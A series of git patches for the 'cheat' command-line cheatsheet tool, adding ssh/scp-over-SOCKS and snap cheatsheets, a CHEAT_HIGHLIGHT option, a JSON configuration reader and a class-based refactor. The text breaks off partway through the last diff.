cdb22f310dfa95c82f1cdfcd2fbdbedd8ee0f29c Mon Sep 17 00:00:00 2001 From: Evgeny Date: Wed, 19 Dec 2018 21:11:54 +0700 Subject: [PATCH 45/97] Fix url in curl cheatsheet --- cheat/cheatsheets/curl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/cheatsheets/curl b/cheat/cheatsheets/curl index c8c281f..c7bc8de 100644 --- a/cheat/cheatsheets/curl +++ b/cheat/cheatsheets/curl @@ -29,7 +29,7 @@ curl -C - -o partial_file.zip http://example.com/file.zip curl -I http://example.com # Fetch your external IP and network info as JSON -curl http://ifconfig.me/all/json +curl http://ifconfig.me/all.json # Limit the rate of a download curl --limit-rate 1000B -O http://path.to.the/file From f35cfa084e5c4c3d3a8aa65c7c5999706f88b507 Mon Sep 17 00:00:00 2001 From: Idar Lund Date: Tue, 8 Jan 2019 08:19:09 +0100 Subject: [PATCH 46/97] Update ssh added ssh over socks tunnel --- cheat/cheatsheets/ssh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/ssh b/cheat/cheatsheets/ssh index aad8cb8..e6af78f 100644 --- a/cheat/cheatsheets/ssh +++ b/cheat/cheatsheets/ssh @@ -23,6 +23,9 @@ ssh -X -t user@example.com 'chromium-browser' # To create a SOCKS proxy on localhost and port 9999 ssh -D 9999 user@example.com +# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999 +ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com + # -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish ssh user@example.com -C -c blowfish -X From 3938032595c1dc356aa7f3d9fc3cbac1c46d65bf Mon Sep 17 00:00:00 2001 From: Idar Lund Date: Tue, 8 Jan 2019 08:24:16 +0100 Subject: [PATCH 47/97] Update scp scp over socks --- cheat/cheatsheets/scp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/scp b/cheat/cheatsheets/scp index 5b5ade9..aaf866f 100644 --- a/cheat/cheatsheets/scp +++ b/cheat/cheatsheets/scp @@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir # To copy a file from a remote server to your local machine: scp user@example.com:remote/dir/foo.txt local/dir + +# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup): +scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/ From f0b3f8037b75a331e4e9df9ba6f26fc7e44041c5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Martin=20Darm=C3=BCntzel?= Date: Wed, 9 Jan 2019 15:47:49 +0100 Subject: [PATCH 48/97] Fixed a typo. --- cheat/cheatsheets/convert | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/cheatsheets/convert b/cheat/cheatsheets/convert index 20dbef0..1472f4a 100644 --- a/cheat/cheatsheets/convert +++ b/cheat/cheatsheets/convert @@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png for file in `ls original/image/path/`; do new_path=${file%.*}; new_file=`basename $new_path`; - convert $file -resize 150 conerted/image/path/$new_file.png; + convert $file -resize 150 converted/image/path/$new_file.png; done From b47b4bc1d1a33d5359242c62230f1c7a3928d04e Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 14:05:38 -0500 Subject: [PATCH 49/97] Modified .gitignore Added `.env` to the list of ignored files. --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 52c5521..a9e1dad 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ *.pyc +.env MANIFEST build cheat.egg-info From 95843e4674086baf54615a27c901653c3ebc31cf Mon Sep 17 00:00:00 2001 From: Joaquin Garmendia Cabrera Date: Thu, 18 Jan 2018 00:34:02 -0500 Subject: [PATCH 50/97] Updating dependencies to highlighting --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 7d8a5c6..c4371f1 100644 --- a/README.md +++ b/README.md @@ -109,8 +109,8 @@ export CHEATPATH="$CHEATPATH:/path/to/more/cheats" You may view which directories are on your `CHEATPATH` with `cheat -d`. ### Enabling Syntax Highlighting ### -`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable -syntax highlighting, export a `CHEATCOLORS` environment variable: +`cheat` can optionally apply syntax highlighting to your cheatsheets. To can use this feature is +neccessary to install the package [Pygments](http://pygments.org/). To enable syntax highlighting, export a `CHEATCOLORS` environment variable: ```sh export CHEATCOLORS=true From 6b796adaf7d10cd67f1bca0dcc60813aadb75c41 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 15:13:41 -0500 Subject: [PATCH 51/97] README edit Edited the addition regarding Pygments. --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c4371f1..600eaf5 100644 --- a/README.md +++ b/README.md @@ -109,13 +109,16 @@ export CHEATPATH="$CHEATPATH:/path/to/more/cheats" You may view which directories are on your `CHEATPATH` with `cheat -d`. ### Enabling Syntax Highlighting ### -`cheat` can optionally apply syntax highlighting to your cheatsheets. To can use this feature is -neccessary to install the package [Pygments](http://pygments.org/). To enable syntax highlighting, export a `CHEATCOLORS` environment variable: +`cheat` can optionally apply syntax highlighting to your cheatsheets. To +enable syntax highlighting, export a `CHEATCOLORS` environment variable: ```sh export CHEATCOLORS=true ``` +Note that [pygments][] must be installed on your system for this to work. + + #### Specifying a Syntax Highlighter #### You may manually specify which syntax highlighter to use for each cheatsheet by wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm]. @@ -145,4 +148,5 @@ See Also: [dotfiles]: http://dotfiles.github.io/ [gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/ [installing]: https://github.com/chrisallenlane/cheat/wiki/Installing +[pygments]: http://pygments.org/ [related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects From 7c7278ac8be309650c63787e0c2640a9f2e5bf83 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 15:54:20 -0500 Subject: [PATCH 52/97] Util logic simplification - Simplified the logic regarding checking the state of `CHEATCOLORS` in `cheat/utils.py` - Improved the commenting within the same --- cheat/utils.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/cheat/utils.py b/cheat/utils.py index 11e3d77..5c36990 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -4,38 +4,41 @@ import subprocess import sys def highlight(needle, haystack): - """ Highlights a search term matched in a line """ + """ Highlights a search term matched within a line """ - # only colorize if so configured - if not 'CHEATCOLORS' in os.environ or os.environ.get('CHEATCOLORS') != 'true': + # if colorization is not configured, exit early + if os.environ.get('CHEATCOLORS') != 'true': return sheet_content + # otherwise, attempt to import the termcolor library try: from termcolor import colored - # if pygments can't load, just return the uncolorized text + # if the import fails, return uncolored text except ImportError: return haystack - # colorize the search term, and replace it within the surrounding line + # if the import succeeds, colorize the needle in haystack return haystack.replace(needle, colored(needle, 'blue')); def colorize(sheet_content): """ Colorizes cheatsheet content if so configured """ - # only colorize if so configured - if not 'CHEATCOLORS' in os.environ or os.environ.get('CHEATCOLORS') != 'true': + # if colorization is not configured, exit early + if os.environ.get('CHEATCOLORS') != 'true': return sheet_content + # otherwise, attempt to import the pygments library try: from pygments import highlight from pygments.lexers import get_lexer_by_name from pygments.formatters import TerminalFormatter - # if pygments can't load, just return the uncolorized text + # if the import fails, return uncolored text except ImportError: return sheet_content + # otherwise, attempt to colorize first_line = sheet_content.splitlines()[0] lexer = get_lexer_by_name('bash') if first_line.startswith('```'): From ba9051e3cdcdfd3e4abc2db18085728d2cf25908 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 15:58:21 -0500 Subject: [PATCH 53/97] `highlight` bug-fix Fixed a bug in `cheat/utils.py` that would cause `highlight` to return the wrong value when `CHEATCOLORS` was not set. --- cheat/utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/utils.py b/cheat/utils.py index 5c36990..23d75a6 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -8,7 +8,7 @@ def highlight(needle, haystack): # if colorization is not configured, exit early if os.environ.get('CHEATCOLORS') != 'true': - return sheet_content + return haystack # otherwise, attempt to import the termcolor library try: From 730c48885411b50d60e72e470ea3bb87582c0a4d Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 16:13:38 -0500 Subject: [PATCH 54/97] Introduced CHEAT_HIGHLIGHT Introduced CHEAT_HIGHLIGHT environment variable to de-couple search-term highlighting from syntax highlighting. --- cheat/sheets.py | 7 +------ cheat/utils.py | 6 +++--- 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/cheat/sheets.py b/cheat/sheets.py index 4d494ee..383de87 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -86,12 +86,7 @@ def search(term): match = '' for line in open(cheatsheet[1]): if term in line: - - # highlight the search term if CHEATCOLORS equals true - if 'CHEATCOLORS' in os.environ: - line = highlight(term, line); - - match += ' ' + line + match += ' ' + highlight(term, line) if match != '': result += cheatsheet[0] + ":\n" + match + "\n" diff --git a/cheat/utils.py b/cheat/utils.py index 23d75a6..77c61a5 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -6,8 +6,8 @@ import sys def highlight(needle, haystack): """ Highlights a search term matched within a line """ - # if colorization is not configured, exit early - if os.environ.get('CHEATCOLORS') != 'true': + # if a highlight color is not configured, exit early + if not 'CHEAT_HIGHLIGHT' in os.environ: return haystack # otherwise, attempt to import the termcolor library @@ -19,7 +19,7 @@ def highlight(needle, haystack): return haystack # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, colored(needle, 'blue')); + return haystack.replace(needle, colored(needle, os.environ.get('CHEAT_HIGHLIGHT'))); def colorize(sheet_content): """ Colorizes cheatsheet content if so configured """ From 28a2902e2084c6d8c55926fd432598f4baca93c6 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 16:26:57 -0500 Subject: [PATCH 55/97] Implemented validation on CHEAT_HIGHLIGHT Implemnted an assertion that `CHEAT_HIGHLIGHT` (if set) contains a value that is acceptible to `termcolors`. This happens only once, upon the invokation of `__main__`. If the assertion fails, `cheat` terminates with an exit code of `1`. --- bin/cheat | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/bin/cheat b/bin/cheat index 0e7fb7c..08ccaa6 100755 --- a/bin/cheat +++ b/bin/cheat @@ -37,10 +37,24 @@ Examples: # require the dependencies from cheat import sheets, sheet from cheat.utils import colorize +from cheat.utils import die from docopt import docopt +import os if __name__ == '__main__': + + # validate CHEAT_HIGHLIGHT values if set + colors = [ + 'grey' , 'red' , 'green' , 'yellow' , + 'blue' , 'magenta' , 'cyan' , 'white' , + ] + if ( + os.environ.get('CHEAT_HIGHLIGHT') and + os.environ.get('CHEAT_HIGHLIGHT') not in colors + ): + die("%s %s" %('CHEAT_HIGHLIGHT must be one of:', colors)) + # parse the command-line options options = docopt(__doc__, version='cheat 2.3.1') From 12249084459fc9b9b8ede757663ac90796af58fb Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 16:36:17 -0500 Subject: [PATCH 56/97] README edits Updated the README to mention the new `CHEAT_HIGHLIGHT` environment variable. --- README.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/README.md b/README.md index 600eaf5..8132ebc 100644 --- a/README.md +++ b/README.md @@ -137,6 +137,23 @@ WHERE id = 100 If no syntax highlighter is specified, the `bash` highlighter will be used by default. +### Enabling Search Match Highlighting ### +`cheat` can optionally be configured to highlight search term matches in search +results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value +of one of the following: + +- blue +- cyan +- green +- grey +- magenta +- red +- white +- yellow + +Note that the `termcolor` module must be installed on your system for this to +work. + See Also: --------- From 60b05c878127644d84446174d6169b680a794092 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 11 Jan 2019 17:18:02 -0500 Subject: [PATCH 57/97] Created a `snap` cheatsheet --- cheat/cheatsheets/snap | 98 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 cheat/cheatsheets/snap diff --git a/cheat/cheatsheets/snap b/cheat/cheatsheets/snap new file mode 100644 index 0000000..3d0429a --- /dev/null +++ b/cheat/cheatsheets/snap @@ -0,0 +1,98 @@ +# To find the `foo` snap: +snap find foo + +# To view detailed information about snap `foo`: +snap info foo + +# To view all private snaps (must be logged in): +snap find --private + +# To install the `foo` snap: +sudo snap install foo + +# To install the `foo` snap from the "beta" channel: +sudo snap install foo --channel=beta + +# To view installed snaps: +snap list + +# To list all revisions of installed snaps: +snap list --all + +# To (manually) update all snaps: +sudo snap refresh + +# To (manually) update the `foo` snap: +sudo snap refresh foo + +# To update the `foo` snap to the "beta" channel: +sudo snap refresh foo --channel=beta + +# To revert the `foo` snap to a prior version: +sudo snap revert foo + +# To revert the `foo` snap to revision 5: +snap revert foo --revision 5 + +# To remove the `foo` snap: +sudo snap remove foo + +# To log in to snap (must first create account online): +sudo snap login + +# To log out of snap: +snap logout + +# To view a transaction log summary: +snap changes + +# To view details of item 123 in the transaction log: +snap change 123 + +# To watch transaction 123: +snap watch 123 + +# To abort transaction 123: +snap abort 123 + +# To download the `foo` snap (and its assertions) *without* installing it: +snap download foo + +# To install the locally-downloaded `foo` snap with assertions: +snap ack foo.assert +snap install foo.snap + +# To install the locally-downloaded `foo` snap without assertions: +# NB: this is dangerous, because the integrity of the snap will not be +# verified. You should only do this to test a snap that you are currently +# developing. +snap install --dangerous foo.snap + +# To install snap `foo` in "dev mode": +# NB: this is dangerous, and bypasses the snap sandboxing mechanisms +snap install --devmode foo + +# To install snap `foo` in "classic mode": +# NB: this is likewise dangerous +snap install --classic foo + +# To view available snap interfaces: +snap interfaces + +# To connect the `foo:camera` plug to the ubuntu core slot: +snap connect foo:camera :camera + +# To disconnect the `foo:camera` plug from the ubuntu core slot: +snap disconnect foo:camera + +# To disable the `foo` snap +snap disable foo + +# To enable the `foo` snap +snap enable foo + +# To set snap `foo`'s `bar` property to 10: +snap set foo bar=10 + +# To read snap `foo`'s current `bar` property: +snap get foo bar From c4c935a6a5affc9b6c76ec5af73a297bc72ad365 Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Sat, 12 May 2018 17:19:16 +0200 Subject: [PATCH 58/97] Change default location of cheatsheets --- cheat/cheatsheets/__init__.py | 4 ---- cheat/sheets.py | 2 +- setup.py | 14 +++++++++----- 3 files changed, 10 insertions(+), 10 deletions(-) delete mode 100644 cheat/cheatsheets/__init__.py diff --git a/cheat/cheatsheets/__init__.py b/cheat/cheatsheets/__init__.py deleted file mode 100644 index 7a6d5a1..0000000 --- a/cheat/cheatsheets/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -import os - -def sheets_dir(): - return os.path.split(__file__) diff --git a/cheat/sheets.py b/cheat/sheets.py index 383de87..7a44342 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -53,7 +53,7 @@ def paths(): """ Assembles a list of directories containing cheatsheets """ sheet_paths = [ default_path(), - cheatsheets.sheets_dir()[0], + '/usr/share/cheat', ] # merge the CHEATPATH paths into the sheet_paths diff --git a/setup.py b/setup.py index b7aeee4..0bcfa1f 100644 --- a/setup.py +++ b/setup.py @@ -1,6 +1,11 @@ from distutils.core import setup +import glob import os +cheat_files = [] +for f in os.listdir('cheat/cheatsheets/'): + cheat_files.append(os.path.join('cheat/cheatsheets/',f)) + setup( name = 'cheat', version = '2.3.1', @@ -14,15 +19,14 @@ setup( url = 'https://github.com/chrisallenlane/cheat', packages = [ 'cheat', - 'cheat.cheatsheets', 'cheat.test', ], - package_data = { - 'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f] - }, scripts = ['bin/cheat'], install_requires = [ 'docopt >= 0.6.1', 'pygments >= 1.6.0', - ] + ], + data_files = [ + ('/usr/share/cheat', cheat_files), + ], ) From a651426075c3f5fd39dfa9ef35d8f96babfda33e Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Thu, 24 May 2018 14:12:43 +0200 Subject: [PATCH 59/97] Add reading settings from configuration file --- cheat/__init__.py | 1 + cheat/configuration.py | 76 ++++++++++++++++++++++++++++++++++++++++++ cheat/sheets.py | 8 ++--- cheat/utils.py | 13 ++++---- config/cheat | 1 + setup.py | 2 +- 6 files changed, 89 insertions(+), 12 deletions(-) create mode 100644 cheat/configuration.py create mode 100644 config/cheat diff --git a/cheat/__init__.py b/cheat/__init__.py index 04d9a4c..2560cf4 100644 --- a/cheat/__init__.py +++ b/cheat/__init__.py @@ -1,3 +1,4 @@ from . import sheet from . import sheets from . import utils +from . import configuration \ No newline at end of file diff --git a/cheat/configuration.py b/cheat/configuration.py new file mode 100644 index 0000000..38e80e2 --- /dev/null +++ b/cheat/configuration.py @@ -0,0 +1,76 @@ +import os +from cheat.utils import warn +import json + +class Configuration: + + def __init__(self): + self._saved_configuration = self._get_configuration() + + + def _get_configuration(self): + # get options from config files and environment vairables + merged_config = {} + + try: + merged_config.update(self._read_configuration_file('/etc/cheat')) + except Exception: + warn('error while parsing global configuration') + + try: + merged_config.update(self._read_configuration_file(os.path.expanduser(os.path.join('~','.config','cheat','cheat')))) + except Exception: + warn('error while parsing user configuration') + + merged_config.update(self._read_env_vars_config()) + + return merged_config + + + def _read_configuration_file(self,path): + # Reads configuration file and returns list of set variables + read_config = {} + if (os.path.isfile(path)): + with open(path) as config_file: + read_config.update(json.load(config_file)) + return read_config + + + def _read_env_vars_config(self): + read_config = {} + + # All these variables are left here because of backwards compatibility + + if (os.environ.get('CHEAT_EDITOR')): + read_config['EDITOR'] = os.environ.get('CHEAT_EDITOR') + + if (os.environ.get('VISUAL')): + read_config['EDITOR'] = os.environ.get('VISUAL') + + keys = ['DEFAULT_CHEAT_DIR','CHEATPATH','CHEATCOLORS','EDITOR'] + + for k in keys: + self._read_env_var(read_config,k) + + return read_config + + + def _read_env_var(self,current_config,key): + if (os.environ.get(key)): + current_config[key] = os.environ.get(key) + + + def get_default_cheat_dir(self): + return self._saved_configuration.get('DEFAULT_CHEAT_DIR') + + + def get_cheatpath(self): + return self._saved_configuration.get('CHEATPATH') + + + def get_cheatcolors(self): + return self._saved_configuration.get('CHEATCOLORS') + + + def get_editor(self): + return self._saved_configuration.get('EDITOR') \ No newline at end of file diff --git a/cheat/sheets.py b/cheat/sheets.py index 7a44342..c106786 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -1,14 +1,14 @@ import os -from cheat import cheatsheets from cheat.utils import die from cheat.utils import highlight +from cheat.configuration import Configuration def default_path(): """ Returns the default cheatsheet path """ # determine the default cheatsheet dir - default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat') + default_sheets_dir = Configuration().get_default_cheat_dir() or os.path.join('~', '.cheat') default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir)) # create the DEFAULT_CHEAT_DIR if it does not exist @@ -57,8 +57,8 @@ def paths(): ] # merge the CHEATPATH paths into the sheet_paths - if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']: - for path in os.environ['CHEATPATH'].split(os.pathsep): + if Configuration().get_cheatpath(): + for path in Configuration().get_cheatpath().split(os.pathsep): if os.path.isdir(path): sheet_paths.append(path) diff --git a/cheat/utils.py b/cheat/utils.py index aa12dcd..c4202ec 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -3,6 +3,8 @@ import os import subprocess import sys +from cheat.configuration import Configuration + def highlight(needle, haystack): """ Highlights a search term matched within a line """ @@ -26,7 +28,7 @@ def colorize(sheet_content): """ Colorizes cheatsheet content if so configured """ # only colorize if configured to do so, and if stdout is a tty - if os.environ.get('CHEATCOLORS') != 'true' or not sys.stdout.isatty(): + if not Configuration().get_cheatcolors() or not sys.stdout.isatty(): return sheet_content # don't attempt to colorize an empty cheatsheet @@ -68,16 +70,13 @@ def editor(): """ Determines the user's preferred editor """ # determine which editor to use - editor = os.environ.get('CHEAT_EDITOR') \ - or os.environ.get('VISUAL') \ - or os.environ.get('EDITOR') \ - or False + editor = Configuration().get_editor() # assert that the editor is set - if editor == False: + if (not editor): die( 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' - 'variable in order to create/edit a cheatsheet.' + 'variable or setting in order to create/edit a cheatsheet.' ) return editor diff --git a/config/cheat b/config/cheat new file mode 100644 index 0000000..3a7537b --- /dev/null +++ b/config/cheat @@ -0,0 +1 @@ +{"CHEATCOLORS":true,"EDITOR":"vi"} diff --git a/setup.py b/setup.py index 0bcfa1f..8a3da9d 100644 --- a/setup.py +++ b/setup.py @@ -1,5 +1,4 @@ from distutils.core import setup -import glob import os cheat_files = [] @@ -28,5 +27,6 @@ setup( ], data_files = [ ('/usr/share/cheat', cheat_files), + ('/etc', ['config/cheat']), ], ) From 7814de96d2c49c15c55e3c74d8f30a6665dbe2e5 Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Wed, 30 May 2018 08:49:52 +0200 Subject: [PATCH 60/97] Add classes for better readability --- bin/cheat | 16 +++-- cheat/configuration.py | 6 +- cheat/sheet.py | 121 ++++++++++++++++--------------- cheat/sheets.py | 158 +++++++++++++++++++++-------------------- cheat/utils.py | 155 +++++++++++++++++++++------------------- 5 files changed, 241 insertions(+), 215 deletions(-) diff --git a/bin/cheat b/bin/cheat index 40ab7e5..22b5b28 100755 --- a/bin/cheat +++ b/bin/cheat @@ -36,9 +36,10 @@ Examples: # require the dependencies from __future__ import print_function -from cheat import sheets, sheet -from cheat.utils import colorize -from cheat.utils import die +from cheat.sheets import Sheets +from cheat.sheet import Sheet +from cheat.utils import Utils +from cheat.configuration import Configuration from docopt import docopt import os @@ -59,6 +60,11 @@ if __name__ == '__main__': # parse the command-line options options = docopt(__doc__, version='cheat 2.3.1') + config = Configuration() + sheets = Sheets(config.get_default_cheat_dir(),config.get_cheatpath()) + sheet = Sheet(config.get_default_cheat_dir(),config.get_cheatpath(),config.get_editor()) + utils = Utils(config.get_cheatcolors(),config.get_editor()) + # list directories if options['--directories']: print("\n".join(sheets.paths())) @@ -73,8 +79,8 @@ if __name__ == '__main__': # search among the cheatsheets elif options['--search']: - print(colorize(sheets.search(options[''])), end="") + print(utils.colorize(sheets.search(options[''])), end="") # print the cheatsheet else: - print(colorize(sheet.read(options[''])), end="") + print(utils.colorize(sheet.read(options[''])), end="") diff --git a/cheat/configuration.py b/cheat/configuration.py index 38e80e2..e89b849 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -1,5 +1,5 @@ import os -from cheat.utils import warn +from cheat.utils import Utils import json class Configuration: @@ -15,12 +15,12 @@ class Configuration: try: merged_config.update(self._read_configuration_file('/etc/cheat')) except Exception: - warn('error while parsing global configuration') + Utils.warn('error while parsing global configuration') try: merged_config.update(self._read_configuration_file(os.path.expanduser(os.path.join('~','.config','cheat','cheat')))) except Exception: - warn('error while parsing user configuration') + Utils.warn('error while parsing user configuration') merged_config.update(self._read_env_vars_config()) diff --git a/cheat/sheet.py b/cheat/sheet.py index ff1ce27..c9a0bb0 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -1,76 +1,85 @@ import os import shutil -from cheat import sheets -from cheat.utils import die, open_with_editor - -def copy(current_sheet_path, new_sheet_path): - """ Copies a sheet to a new path """ - - # attempt to copy the sheet to DEFAULT_CHEAT_DIR - try: - shutil.copy(current_sheet_path, new_sheet_path) - - # fail gracefully if the cheatsheet cannot be copied. This can happen if - # DEFAULT_CHEAT_DIR does not exist - except IOError: - die('Could not copy cheatsheet for editing.') +from cheat.sheets import Sheets +from cheat.utils import Utils -def create_or_edit(sheet): - """ Creates or edits a cheatsheet """ - - # if the cheatsheet does not exist - if not exists(sheet): - create(sheet) - - # if the cheatsheet exists but not in the default_path, copy it to the - # default path before editing - elif exists(sheet) and not exists_in_default_path(sheet): - copy(path(sheet), os.path.join(sheets.default_path(), sheet)) - edit(sheet) - - # if it exists and is in the default path, then just open it - else: - edit(sheet) +class Sheet: -def create(sheet): - """ Creates a cheatsheet """ - new_sheet_path = os.path.join(sheets.default_path(), sheet) - open_with_editor(new_sheet_path) + def __init__(self,default_cheat_dir,cheatpath,editor_exec): + self.sheets_instance = Sheets(default_cheat_dir,cheatpath) + self.utils_instance = Utils(None,editor_exec) -def edit(sheet): - """ Opens a cheatsheet for editing """ - open_with_editor(path(sheet)) + def copy(self,current_sheet_path, new_sheet_path): + """ Copies a sheet to a new path """ + + # attempt to copy the sheet to DEFAULT_CHEAT_DIR + try: + shutil.copy(current_sheet_path, new_sheet_path) + + # fail gracefully if the cheatsheet cannot be copied. This can happen if + # DEFAULT_CHEAT_DIR does not exist + except IOError: + Utils.die('Could not copy cheatsheet for editing.') -def exists(sheet): - """ Predicate that returns true if the sheet exists """ - return sheet in sheets.get() and os.access(path(sheet), os.R_OK) + def create_or_edit(self,sheet): + """ Creates or edits a cheatsheet """ + + # if the cheatsheet does not exist + if not self.exists(sheet): + self.create(sheet) + + # if the cheatsheet exists but not in the default_path, copy it to the + # default path before editing + elif self.exists(sheet) and not self.exists_in_default_path(sheet): + self.copy(self.path(sheet), os.path.join(self.sheets_instance.default_path(), sheet)) + self.edit(sheet) + + # if it exists and is in the default path, then just open it + else: + self.edit(sheet) -def exists_in_default_path(sheet): - """ Predicate that returns true if the sheet exists in default_path""" - default_path_sheet = os.path.join(sheets.default_path(), sheet) - return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK) + def create(self,sheet): + """ Creates a cheatsheet """ + new_sheet_path = os.path.join(self.sheets_instance.default_path(), sheet) + self.utils_instance.open_with_editor(new_sheet_path) -def is_writable(sheet): - """ Predicate that returns true if the sheet is writeable """ - return sheet in sheets.get() and os.access(path(sheet), os.W_OK) + def edit(self,sheet): + """ Opens a cheatsheet for editing """ + self.utils_instance.open_with_editor(self.path(sheet)) -def path(sheet): - """ Returns a sheet's filesystem path """ - return sheets.get()[sheet] + def exists(self,sheet): + """ Predicate that returns true if the sheet exists """ + return sheet in self.sheets_instance.get() and os.access(self.path(sheet), os.R_OK) -def read(sheet): - """ Returns the contents of the cheatsheet as a String """ - if not exists(sheet): - die('No cheatsheet found for ' + sheet) + def exists_in_default_path(self,sheet): + """ Predicate that returns true if the sheet exists in default_path""" + default_path_sheet = os.path.join(self.sheets_instance.default_path(), sheet) + return sheet in self.sheets_instance.get() and os.access(default_path_sheet, os.R_OK) - with open(path(sheet)) as cheatfile: - return cheatfile.read() + + def is_writable(self,sheet): + """ Predicate that returns true if the sheet is writeable """ + return sheet in self.sheets_instance.get() and os.access(self.path(sheet), os.W_OK) + + + def path(self,sheet): + """ Returns a sheet's filesystem path """ + return self.sheets_instance.get()[sheet] + + + def read(self,sheet): + """ Returns the contents of the cheatsheet as a String """ + if not self.exists(sheet): + Utils.die('No cheatsheet found for ' + sheet) + + with open(self.path(sheet)) as cheatfile: + return cheatfile.read() diff --git a/cheat/sheets.py b/cheat/sheets.py index c106786..107bad3 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -1,94 +1,100 @@ import os -from cheat.utils import die -from cheat.utils import highlight from cheat.configuration import Configuration +from cheat.utils import Utils -def default_path(): - """ Returns the default cheatsheet path """ - - # determine the default cheatsheet dir - default_sheets_dir = Configuration().get_default_cheat_dir() or os.path.join('~', '.cheat') - default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir)) - - # create the DEFAULT_CHEAT_DIR if it does not exist - if not os.path.isdir(default_sheets_dir): - try: - # @kludge: unclear on why this is necessary - os.umask(0000) - os.mkdir(default_sheets_dir) - - except OSError: - die('Could not create DEFAULT_CHEAT_DIR') - - # assert that the DEFAULT_CHEAT_DIR is readable and writable - if not os.access(default_sheets_dir, os.R_OK): - die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.') - if not os.access(default_sheets_dir, os.W_OK): - die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.') - - # return the default dir - return default_sheets_dir +class Sheets: -def get(): - """ Assembles a dictionary of cheatsheets as name => file-path """ - cheats = {} - - # otherwise, scan the filesystem - for cheat_dir in reversed(paths()): - cheats.update( - dict([ - (cheat, os.path.join(cheat_dir, cheat)) - for cheat in os.listdir(cheat_dir) - if not cheat.startswith('.') - and not cheat.startswith('__') - ]) - ) - - return cheats + def __init__(self,default_cheat_dir,cheatpath): + self.default_cheat_dir = default_cheat_dir + self.cheatpath = cheatpath -def paths(): - """ Assembles a list of directories containing cheatsheets """ - sheet_paths = [ - default_path(), - '/usr/share/cheat', - ] + def default_path(self): + """ Returns the default cheatsheet path """ - # merge the CHEATPATH paths into the sheet_paths - if Configuration().get_cheatpath(): - for path in Configuration().get_cheatpath().split(os.pathsep): - if os.path.isdir(path): - sheet_paths.append(path) + # determine the default cheatsheet dir + default_sheets_dir = self.default_cheat_dir or os.path.join('~', '.cheat') + default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir)) - if not sheet_paths: - die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.') + # create the DEFAULT_CHEAT_DIR if it does not exist + if not os.path.isdir(default_sheets_dir): + try: + # @kludge: unclear on why this is necessary + os.umask(0000) + os.mkdir(default_sheets_dir) - return sheet_paths + except OSError: + Utils.die('Could not create DEFAULT_CHEAT_DIR') + + # assert that the DEFAULT_CHEAT_DIR is readable and writable + if not os.access(default_sheets_dir, os.R_OK): + Utils.die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.') + 